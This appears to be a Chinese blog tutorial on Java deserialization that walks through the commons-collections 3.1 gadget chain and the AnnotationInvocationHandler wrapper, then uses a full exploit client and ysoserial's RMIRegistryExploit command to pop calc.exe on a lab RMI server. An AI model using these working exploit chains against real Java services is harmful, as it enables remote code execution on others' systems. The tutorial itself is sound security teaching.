淺顯易懂的JAVA反序列化入門

0x00前言

因爲我平時打CTF的時候遇到的web大部分都是php的代碼,php環境搭建也十分的方便。所有在剛剛接觸到java反序列化漏洞的時候也不知道怎麼下手,因爲兩者差別還是比較大,所以希望自己的見解能夠對剛接觸這塊的人有所幫助
我的源碼和筆記Github地址在文章的最後

這篇文章之前是發到先知上https://xz.aliyun.com/t/4711
但登錄自己的賬號看文章很麻煩23333,所以還是備一份到博客上

0x01我瞭解JAVA發序列化的過程

最開始看java反序列化的文章是比較難懂的,即使能把別人的例子拿來運行成功了,但是還是沒有把要領裝入腦袋中。我學習這方面的步驟如下,希望有所幫助
1.先了解下JMX是什麼,明白本地java虛擬機如何運行遠程的java虛擬機的代碼,
2.瞭解RMI是什麼,明白RMI和JMX的異同之處,
3.瞭解java反射的機制
4.瞭解java的反序列化commons-collections-3.1漏洞
5.再把commons-collections-3.1的反序列化運用在遠程的RMI服務器上

這篇文章講述的內容是
本地運行commons-collections-3.1的反序列化
構造commons-collections-3.1的序列化的代碼
啓動rmi服務,利用commons-collections-3.1的反序列化

0x02 java反射簡介

先看在java中執行系統命令的方法

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime.getRuntime().exec("notepad.exe");
    }
}

該代碼會運行並打開windows下的記事本
它正常的步驟是

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
		runtime.exec("notepad.exe");
    }
}

那麼相應的反射的代碼如下

import java.lang.reflect.Method;

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
 	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}
getMethod(方法名, 方法類型)
invoke(某個對象實例, 傳入參數)

這裏第一句Object runtime =Class.forName("java.lang.Runtime")的作用
等價於 Object runtime = Runtime.getRuntime()
目的是獲取一個對象實例好被下一個invoke調用

第二句Class.forName("java.lang.Runtime").xxxx的作用就是調用上一步生成的runtime實例的exec方法,並將"notepad.exe"參數傳入exec()方法

0x03 JAVA反序列化的操作函數

ObjectOutputStream類的writeObject(Object obj)方法,將對象序列化成字符串數據
ObjectInputStream類的readObject(Object obj)方法,將字符串數據反序列化成對象
測試代碼

import java.io.*;

public class Serialize {
    public static void main(String[] args) throws Exception{
        //要序列化的數據
        String name = "sijidou";
 
 		//序列化
 		FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(name);
        objectOutputStream.close();
		
		//反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

把剛剛的執行操作的代碼進行序列化和反序列化

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Serialize2 {
    public static void main(String[] args) throws Exception{
        //要序列化的數據
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        Object evil = Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
		//Object evil = Runtime.getRuntime().exec("notepad.exe");

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(evil);
        objectOutputStream.close();

        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

這樣是不能觸發的,因爲Runtime類沒有繼承Serializable接口,所以導致不會成功,它彈是在寫Object的時候會彈的

0x04 commons-collections-3.1反序列化漏洞

代碼在遠程調用前,要明白本地是如何實現的,這個時候DEBUG是個非常棒的東西
首先漏洞組件的下載地址:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1
網上很多都拿這個反序列漏洞來講解java反序列化的知識點,我這裏就拿一個payload,代碼如下

public class ApacheSerialize {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        
        //將transformers數組存入ChaniedTransformer這個繼承類
        Transformer transformerChain = new ChainedTransformer(transformers);

		//創建Map並綁定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

		//觸發漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");
    }
}

這裏涉及到了3個比較重要的對象InvokerTransformer``ChaniedTransformerTransformedMap
首先看看InvokerTransformer,它是執行惡意代碼的主要問題所在

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
        }
    }
}

可以看到它利用了反射進行調用函數,Object是傳進來的參數,this.iMethodName,this.iParamTypesthis.iArgs是類中的私有成員

這反射類比下正常的調用就是如下形式

input.(this.iMethodName(<this.iParamTypes[0]> this.iArgs[0], <this.iParamTypes[1]> this.iArgs[1]))

input是類名, this.iMethodName是方法名, 之後的this.iParamTypes是參數類型,this.iParamTypes是參數的值
查看3個私有變量傳進來的方式,是利用的構造函數,即在new的時候,把參數代入到私有成員

public class InvokerTransformer implements Transformer, Serializable {
	private final String iMethodName;
	private final Class[] iParamTypes;
	private final Object[] iArgs;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

因此我在payload中第一部生成的transformers數組的效果等價於

transformers[1]
input.getMethod("getRuntime", null)

transformers[2]
input.invoke(null, null);

transformers[3]
input.exec("calc.exe");

input是後面調用transform(Object input)的傳參,但是這3個明顯是閒散的,我們的目的是把它們組合起來

這時候就是要靠ChaniedTransformer
看一下ChainedTransformer類的transform方法

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

是一個反覆的循環調用,後面一個transformers調用前面一個tranformers的返回值,並且會遍歷一遍數組裏面的所有值
再看看之前構造的chainedTransformer對象裏面的內容

[0]是ConstantTransformer對象,它會返回new時候的參數中的Object對象,這裏也是就是"java.Runtime"
[1]-[3]是InvokerTransformer對象,調用的是反射的代碼

最後看能帶有觸發這個攻擊鏈的方法的對象TransformedMap
利用 Map.Entry取得第一個值,調用修改值的函數,會觸發下面的setValue()代碼

  public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return this.entry.setValue(value);
        }

而其中的checkSetValue()實際上是觸發TransoformedMap的checkSetValue()方法,而此次的this.valueTransformer就是ChianedTransformer類,之後就會觸發漏洞利用鏈

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

回到整體的payload的中的參數
payload中的利用反射的結構是這樣的

Transformer[] transformers = new Transformer[] {
	new ConstantTransformer(Runtime.class),
	
	new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
	
	new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
	
	new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

因爲我JAVA不是太熟悉,理解了好久,這裏簡述下我的理解,InvokerTransformer的構造函數如下

   public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

第一個是字符串,是調用的方法名,第二個是個Class數組,帶的是方法的參數的類型,第三個是Object數組,帶的是方法的參數的值

getMethod舉例

第一個參數"getMethod"是這個函數的名字

第二個參數new Class[]{String.class, Class[].class}getMethod的2個參數參數類型,一個是String,一個是class[]

第三個參數new Object[]{"getRuntime", new Class[0]}getMethod的2個參數值,一個是getRuntime,一個是空,因爲是數組形式所以要這麼寫

上面這個組合起來相當於 getMethod(\<String\> "getRuntime", \<Class[]\> null)
整理一下思路

ChianedTransformer可以理解爲一個數組容器
ChianedTransformer裏面裝了4個transform
TransoformedMap綁定了ChiandTransformer

step1 : 利用TransoformedMap的setValue觸發ChianedTransformer的transform

step2 : ChianedTransformer的transform是一個循環調用該類裏面的transformer的transform方法

step3 : 第一次循環調用ConstantTransformer("java.Runtime")對象的transformer調用參數爲"foobar"(正常要修改的值),結果無影響

step4 : 第二次循環調用InvokerTransformer對象getMethod("getRuntime",null)方法,參數爲("java.Runtime")會返回一個Runtime.getRuntime()方法
相當於生產一個字符串,但還沒有執行,"Rumtime.getRuntime();"

step5 : 第三次循環調用InvokerTransformer對象Invoke(null,null)方法,參數爲Runtime.getRuntime(),那麼會返回一個Runtime對象實例
相當於執行了該字符串,Object runtime = Rumtime.getRuntime();

step6 : 第四次循環調用InvokerTransformer對象exec("clac.exe")方法,參數爲一個Runtime的對象實例,會執行彈出計算器操作
調用了對象的方法,runtime.exec("clac,exe")

至此已經能夠觸發漏洞了,之後還會執行什麼步驟無關緊要了

0x05 payload實現

上面的代碼只是作爲一段小腳本執行了,但是沒有被用來通過網絡傳輸payload,然後被反序列化利用,並且還要滿足被反序列化之後還會改變map的值等總總因素的影響,假設一個理想的情況如下

public class ApacheSerialize2 implements Serializable {
    public static void main(String[] args) throws Exception{
         Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
         };
         Transformer transformerChain = new ChainedTransformer(transformers);

         Map map = new HashMap();
         map.put("value", "sijidou");
         Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

         //序列化
         FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
         objectOutputStream.writeObject(transformedMap);
         objectOutputStream.close();

         //反序列化
         FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
         ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
         Map result = (TransformedMap)objectInputStream.readObject();
         objectInputStream.close();
         System.out.println(result);

         Map.Entry onlyElement = (Map.Entry) result.entrySet().iterator().next();
         onlyElement.setValue("foobar");

該情況可以觸發,但是現實中往往不一定存在把數據反序列化後,再調用其中TransformedMapMap.Entry類型的setValue方法

在java中,自帶的類中還有一個類叫做AnnotationInvocationHandler

該類中重寫的readObject方法在被調用時會將其中的map,轉成Map.Entry,並執行setValue操作,那麼能把TransformedMap裝入這個AnnotationInvocationHandler類,再傳過去,就可以不用考慮之後代碼是否執行setValue就可以直接利用漏洞了

 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}

setValue的點在這一行

var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

最後利用的payload如下

package Serialize2;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class ApacheSerialize2 implements Serializable {
    public static void main(String[] args) throws Exception{
         Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
         };
         Transformer transformerChain = new ChainedTransformer(transformers);

         Map map = new HashMap();
         map.put("value", "sijidou");
         Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

         Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
         ctor.setAccessible(true);
         Object instance = ctor.newInstance(Target.class, transformedMap);

         //序列化
         FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
         objectOutputStream.writeObject(instance);
         objectOutputStream.close();

         //反序列化
         FileInputStream fileInputStream = new FileInputStream("serialize3.txt");
         ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
         Object result = objectInputStream.readObject();
         objectInputStream.close();
         System.out.println(result);

    }
}

能夠直接觸發
圖片.png

爲什麼jdk爲1.8就無法這麼利用了,看jdk1.8的AnnotationInvocationHandler源碼,readObject中在jdk1.7的setValue已經變成了

var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }

        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

在jdk1.8下不能觸發

圖片.png

ysoserial的包裏面也有commons-collectons-3.1的payload,它利用的是jdk中的BadAttributeValueExpException這個類重寫readObject來實現的
該項目的GitHub地址https://github.com/frohoff/ysoserial
ysoserial的使用方法

java -jar ysoserial.jar CommonsCollections5 calc.exe > 1.txt

把1.txt 裏面的內容反序列化化即可觸發生成calc.exe的命令
圖片.png

0x06 RMI簡介

RMI(Remote Method Invocation),遠程方法調用
JNDI(Java Naming and Directory Interface),Java 命名與目錄接口
JNDI是註冊表可以包含很多的RMI,舉個例子就JNDI像個本子,RMI像本子上的記錄,客戶端調用RMI記錄的時候會先去JNDI這個本子,然後從本子上找相應的RMI記錄

性質
與JMX服務器之間的通信使用的協議就是rmi協議
rmi可以傳輸序列化的數據

傳輸原理

1.客戶端 => 客戶端本地的stub類
2.客戶端本地的stub類把信息序列化 => 服務器端的skeletons類
3.服務器端的skeletons類把信息反序列化 => 服務器端的對應類進行處理
4.服務器端對應類處理完後 => 服務器端的skeletions類
5.skeletions類序列化數據 => 客戶端本地的stub類
6.客戶端本地的stub類把數據反序列化 => 客戶端

但在java 1.2版本後免去了3、5的步驟,直接在對應的類上進行序列化和反序列化

0x07 RMI服務器實現

首先定義一個User接口,這個接口和普通接口不一樣在於要拋出RemoteException的異常

package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote{
    String name(String name) throws RemoteException;
    void say(String say) throws RemoteException;
    void dowork(Object work) throws RemoteException;
}

接着實現該接口的各種函數的UserImpl類,實現的類也要拋出RemoteException的異常

package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User{

    public UserImpl() throws RemoteException{
        super();
    }
    @Override
    public String name(String name) throws RemoteException{
        return name;
    }
    @Override
    public void say(String say) throws  RemoteException{
        System.out.println("you speak" + say);
    }
    @Override
    public void dowork(Object work) throws  RemoteException{
        System.out.println("your work is " + work);
    }
}

最後是啓動這個服務

package RMI;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class UserServer {
    public static void main(String[] args) throws Exception{
        String url = "rmi://10.10.10.1:4396/User";
        User user = new UserImpl();
        LocateRegistry.createRegistry(4396);
        Naming.bind(url,user);
        System.out.println("the rmi is running ...");
    }
}

LocateRegistry.createRegistry(4396)把4396端口號在JNDI中註冊,將開啓RMI的服務的端口
Naming.rebind()來實現將類和端口版本,開放出去
圖片.png
運行後,就會在4396端口進行監聽

0x08 通過RMI服務器運行commons-collectons-3.1反序列化漏洞

這個RMI的問題在於,它的void dowork(Object work)函數接收了Object類型

 public void dowork(Object work) throws  RemoteException{
        System.out.println("your work is " + work);
    }

而我們的把攻擊鏈生成的payload也是Object類型,因此可以通過該點傳入觸發漏洞
在jdk1.7,並且服務器上有commons-collectons-3.1的情況下,運行下面payload彈出計算機

package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class UserClient {
    public static void main(String[] args) throws Exception{
        String url = "rmi://10.10.10.1:4396/User";
        User userClient = (User)Naming.lookup(url);

        System.out.println(userClient.name("sijidou"));
        userClient.say("world");
        userClient.dowork(getpayload());
    }
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "sijidou");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

圖片.png

在jdk1.8下會失敗
圖片.png
圖片.png

那麼利用之前的ysoserial生成的1.txt,來觸發jdk1.8的漏洞

package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class UserClient2 {
    public static void main(String[] args) throws Exception{
        String url = "rmi://10.10.10.1:4396/User";
        User userClient = (User) Naming.lookup(url);

        System.out.println(userClient.name("sijidou"));
        userClient.say("world");
        userClient.dowork(getpayload());
    }
    public static Object getpayload() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        return objectInputStream.readObject();
    }
}

成功彈出計算器
圖片.png

那麼在另一臺設備上,我這裏用kali的虛擬機使用ysoserial工具來給本地的win10RMI服務器發送payload
win10在虛擬機的虛擬網卡ip:10.10.10.1
kali的ip:10.10.10.128

 java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.RMIRegistryExploit 10.10.10.1 4396 CommonsCollections1 "calc.exe"

圖片.png

  1. 結語
    源碼和筆記
    JMX:https://github.com/SiJiDo/JMX-
    RMI:https://github.com/SiJiDo/RMI-simple-notes
    JAVA反序列化:https://github.com/SiJiDo/JAVA-Serialize-vuln
    參考文章
    https://www.jianshu.com/p/a947717ded70
    https://blog.csdn.net/lmy86263/article/details/72594760
    http://www.importnew.com/20344.html
    https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
    https://www.cnblogs.com/ysocean/p/6516248.html
    https://www.freebuf.com/vuls/170344.html
    https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
    https://www.cnblogs.com/luoxn28/p/5686794.html
    https://security.tencent.com/index.php/blog/msg/97
    https://p0sec.net/index.php/archives/121/
    https://xz.aliyun.com/t/4558
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章